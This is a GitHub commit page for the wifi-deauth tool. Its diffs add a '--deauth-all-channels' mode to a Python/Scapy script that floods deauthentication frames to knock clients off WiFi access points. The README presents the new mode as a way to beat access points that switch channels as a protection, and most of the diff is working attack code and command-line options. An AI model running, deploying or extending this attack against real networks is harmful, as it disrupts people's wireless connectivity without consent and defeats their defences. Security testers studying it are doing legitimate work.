Skip to content

Commit b478df7

Browse files
authored
Merge pull request #30 from flashnuke/feat/spam_all_channels
Feat/de-auth all channels (`v1.45`)
2 parents f9d8459 + f996d20 commit b478df7

File tree

3 files changed

+49
-15
lines changed

3 files changed

+49
-15
lines changed

README.md

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -42,10 +42,12 @@ sudo python3 wifi_deauth.py -i <iface>
4242

4343
### Usage notes
4444
* `<iface>` is the name of the network interface (i.e `wlan0` or `eth0`) that supports packet injection
45+
* `--deauth-all-channels` - try this option if the attack doesn't work (see more in [Optional Arguments](https://github.com/flashnuke/wifi-deauth/tree/main?tab=readme-ov-file#optional-arguments))
4546
* `--autostart` is good for automation - first make sure that only 1 access point is found, you can use filters (bssid, ssid, channels, etc...) to ensure that
4647
* The initial iteration over all channels might take a minute or two (depends on how many bands the interface supports)
4748

4849
### Optional arguments
50+
* `--deauth-all-channels` - send de-auth packets on all allowed channels (or all custom channels if `--channels` is set) iteratively, effective against access points that switch to a different channel as a protection mechanism
4951
* `--ssid <name>` - filter for a specific SSID by a case-insensitive substring (this should shorten the channel-scanning duration), whitespaces should be passed with an escape character (i.e -> `new\ york`)
5052
* `--bssid <addr>` - filter for a specific BSSID (the access point's MAC address), case in-sensitive
5153
* `--autostart` - start the de-auth loop automatically, works only when one access point is found
@@ -56,10 +58,9 @@ sudo python3 wifi_deauth.py -i <iface>
5658
* `--skip-monitormode` - enable monitor mode manually (otherwise the program does it automatically)
5759

5860
### Misc notes
61+
* Setting custom client mac addresses (`--clients`) is not suggested, as some clients might reconnect using a random MAC address which is different than the one set
5962
* Check `ifconfig` to find the interface nickname
6063
* Works for 2.4GHhz and 5Ghz
61-
* Beware that some access points have protections against this kind of attack and therefore it might not work on them
62-
* Setting custom client mac addresses (`--clients`) is not suggested, as some clients might reconnect using a random MAC address which is different than the one set
6364

6465
### Requirements
6566
* Linux OS

setup.py

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,7 @@
22

33
setup(
44
name='wifi_deauth',
5-
version='1.42',
5+
version='1.45',
66
description='WiFi deauthentication tool built with Python using the Scapy library',
77
long_description=open('README.md').read(),
88
long_description_content_type='text/markdown',

wifi_deauth/wifi_deauth.py

100644100755
Lines changed: 45 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,14 @@
11
#!/usr/bin/env python3
22

3+
import os
34
import sys # leave it
45
import signal
56
import logging
67
import argparse
78
import threading # leave it
89

10+
from typing import Dict, Generator, List, Union
11+
912
from scapy.layers.dot11 import RadioTap, Dot11Elt, Dot11Beacon, Dot11ProbeResp, Dot11ReassoResp, Dot11AssoResp, \
1013
Dot11QoS, Dot11Deauth, Dot11
1114

@@ -42,7 +45,7 @@ class Interceptor:
4245
_SSID_STR_PAD = 42 # total len 80
4346

4447
def __init__(self, net_iface, skip_monitor_mode_setup, kill_networkmanager,
45-
ssid_name, bssid_addr, custom_client_macs, custom_channels, autostart, debug_mode):
48+
ssid_name, bssid_addr, custom_client_macs, custom_channels, deauth_all_channels, autostart, debug_mode):
4649
self.interface = net_iface
4750

4851
self._max_consecutive_failed_send_lim = 5 / Interceptor._DEAUTH_INTV # fails to send for 5 consecutive seconds
@@ -77,14 +80,21 @@ def __init__(self, net_iface, skip_monitor_mode_setup, kill_networkmanager,
7780
self._custom_bssid_addr: Union[str, None] = self.parse_custom_bssid_addr(bssid_addr)
7881
self.log_debug(f"Selected custom bssid addr: {self._custom_ssid_name}")
7982
self._custom_target_client_mac: Union[List[str], None] = self.parse_custom_client_mac(custom_client_macs)
80-
self.log_debug(f"Selected arget client mac addrs: {self._custom_target_client_mac}")
83+
self.log_debug(f"Selected target client mac addrs: {self._custom_target_client_mac}")
8184
self._custom_target_ap_channels: List[int] = self.parse_custom_channels(custom_channels)
8285
self.log_debug(f"Selected target client channels: {self._custom_target_client_mac}")
8386

8487
self._custom_target_ap_last_ch = 0 # to avoid overlapping
8588
self._midrun_output_buffer: List[str] = list()
8689
self._midrun_output_lck = threading.RLock()
8790

91+
self._deauth_all_channels = deauth_all_channels
92+
93+
self._ch_iterator: Union[Generator[int, None, int], None] = None
94+
if self._deauth_all_channels:
95+
self._ch_iterator = self._init_channels_generator()
96+
print_info(f"De-auth all channels enabled -> {BOLD}{self._deauth_all_channels}{RESET}")
97+
8898
self._autostart = autostart
8999

90100
@staticmethod
@@ -181,6 +191,9 @@ def _get_channels(self) -> List[int]:
181191
for channel in os.popen(f'iwlist {self.interface} channel').readlines()
182192
if 'Channel' in channel and 'Current' not in channel]
183193

194+
def _get_channel_range(self) -> List[int]:
195+
return self._custom_target_ap_channels or list(self._channel_range.keys())
196+
184197
def _ap_sniff_cb(self, pkt):
185198
try:
186199
if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp):
@@ -204,19 +217,19 @@ def _ap_sniff_cb(self, pkt):
204217
pass
205218

206219
def _scan_channels_for_aps(self):
207-
channels_to_scan = self._custom_target_ap_channels or self._channel_range
220+
channels_to_scan = self._get_channel_range()
208221
print_info(f"Starting AP scan, please wait... ({len(channels_to_scan)} channels total)")
209222
if self._custom_ssid_name_is_set():
210-
print_info(f"Scanning for target SSID -> {self._custom_ssid_name}")
223+
print_info(f"Scanning for target SSID -> {BOLD}{self._custom_ssid_name}{RESET}")
211224
try:
212225
for idx, ch_num in enumerate(channels_to_scan):
213226
if self._custom_ssid_name_is_set() and self._found_custom_ssid_name() \
214227
and self._current_channel_num - self._custom_target_ap_last_ch > 2:
215228
# make sure sniffing doesn't stop on an overlapped channel for custom SSIDs
216229
return
217230
self._set_channel(ch_num)
218-
print_info(f"Scanning channel {self._current_channel_num} (left -> "
219-
f"{len(channels_to_scan) - (idx + 1)})", end="\r")
231+
print_info(f"Scanning channel {BOLD}{self._current_channel_num}{RESET}, remaining -> "
232+
f"{len(channels_to_scan) - (idx + 1)} ", end="\r")
220233
sniff(prn=self._ap_sniff_cb, iface=self.interface, timeout=Interceptor._CH_SNIFF_TO,
221234
stop_filter=lambda p: Interceptor._ABORT is True)
222235
finally:
@@ -330,6 +343,8 @@ def _run_deauther(self):
330343
ap_mac = self.target_ssid.mac_addr
331344
while not Interceptor._ABORT:
332345
try:
346+
if self._deauth_all_channels:
347+
self._iter_next_channel()
333348
self.attack_loop_count += 1
334349
for client_mac in self._get_target_clients():
335350
self._send_deauth_client(ap_mac, client_mac)
@@ -412,6 +427,17 @@ def abort_run(msg: str):
412427
print_error(msg)
413428
exit(0)
414429

430+
def _iter_next_channel(self):
431+
self._set_channel(next(self._ch_iterator))
432+
433+
def _init_channels_generator(self) -> Generator[int, None, int]:
434+
ch_range = self._get_channel_range()
435+
ctr = 0
436+
while not Interceptor._ABORT:
437+
yield ch_range[ctr]
438+
ctr = (ctr + 1) % len(ch_range)
439+
return ctr
440+
415441

416442
def main():
417443
signal.signal(signal.SIGINT, Interceptor.user_abort)
@@ -426,28 +452,34 @@ def main():
426452
restore_print()
427453

428454
if "linux" not in sys.platform:
429-
raise Exception(f"Unsupported operating system {sys.platform}, only linux is supported...")
455+
raise OSError(f"Unsupported operating system {sys.platform}, only linux is supported...")
456+
elif os.geteuid() != 0:
457+
raise PermissionError(f"Must be run as root")
430458

431459
parser = argparse.ArgumentParser(description='A simple program to perform a deauth attack')
432460
parser.add_argument('-i', '--iface', help='a network interface with monitor mode enabled (i.e -> "eth0")',
433461
action='store', dest="net_iface", metavar="network_interface", required=True)
434-
parser.add_argument('-sm', '--skip-monitormode', help='skip automatic setup of monitor mode', action='store_true',
462+
parser.add_argument('--skip-monitormode', help='skip automatic setup of monitor mode', action='store_true',
435463
default=False, dest="skip_monitormode", required=False)
436464
parser.add_argument('-k', '--kill', help='kill NetworkManager (might interfere with the process)',
437465
action='store_true', default=False, dest="kill_networkmanager", required=False)
438466
parser.add_argument('-s', '--ssid', help='custom SSID name (case-insensitive)', metavar="ssid_name",
439467
action='store', default=None, dest="custom_ssid", required=False)
440468
parser.add_argument('-b', '--bssid', help='custom BSSID address (case-insensitive)', metavar="bssid_addr",
441469
action='store', default=None, dest="custom_bssid", required=False)
442-
parser.add_argument('-cm', '--clients', help='MAC addresses of target clients to disconnect,'
443-
' separated by a comma (i.e -> 00:1A:2B:3C:4D:5G,00:1a:2b:3c:4d:5e)', metavar="client_mac_addrs",
470+
parser.add_argument('--clients', help='MAC addresses of target clients to disconnect,'
471+
' separated by a comma (i.e -> 00:1A:2B:3C:4D:5G,00:1a:2b:3c:4d:5e)', metavar="client_mac_addrs",
444472
action='store', default=None, dest="custom_client_macs", required=False)
445-
parser.add_argument('-ch', '--channels', help='custom channels to scan, separated by a comma (i.e -> 1,3,4)',
473+
parser.add_argument('-c', '--channels',
474+
help='custom channels to scan / de-auth, separated by a comma (i.e -> 1,3,4)',
446475
metavar="ch1,ch2", action='store', default=None, dest="custom_channels", required=False)
447-
parser.add_argument('-a', '--autostart', help='autostart the de-auth loop (if the scan result contains a single access point)',
476+
parser.add_argument('-a', '--autostart',
477+
help='autostart the de-auth loop (if the scan result contains a single access point)',
448478
action='store_true', default=False, dest="autostart", required=False)
449479
parser.add_argument('-d', '--debug', help='enable debug prints',
450480
action='store_true', default=False, dest="debug_mode", required=False)
481+
parser.add_argument('--deauth-all-channels', help='enable de-auther on all channels',
482+
action='store_true', default=False, dest="deauth_all_channels", required=False)
451483
pargs = parser.parse_args()
452484

453485
invalidate_print() # after arg parsing
@@ -458,6 +490,7 @@ def main():
458490
bssid_addr=pargs.custom_bssid,
459491
custom_client_macs=pargs.custom_client_macs,
460492
custom_channels=pargs.custom_channels,
493+
deauth_all_channels=pargs.deauth_all_channels,
461494
autostart=pargs.autostart,
462495
debug_mode=pargs.debug_mode)
463496
attacker.run()

0 commit comments

Comments
 (0)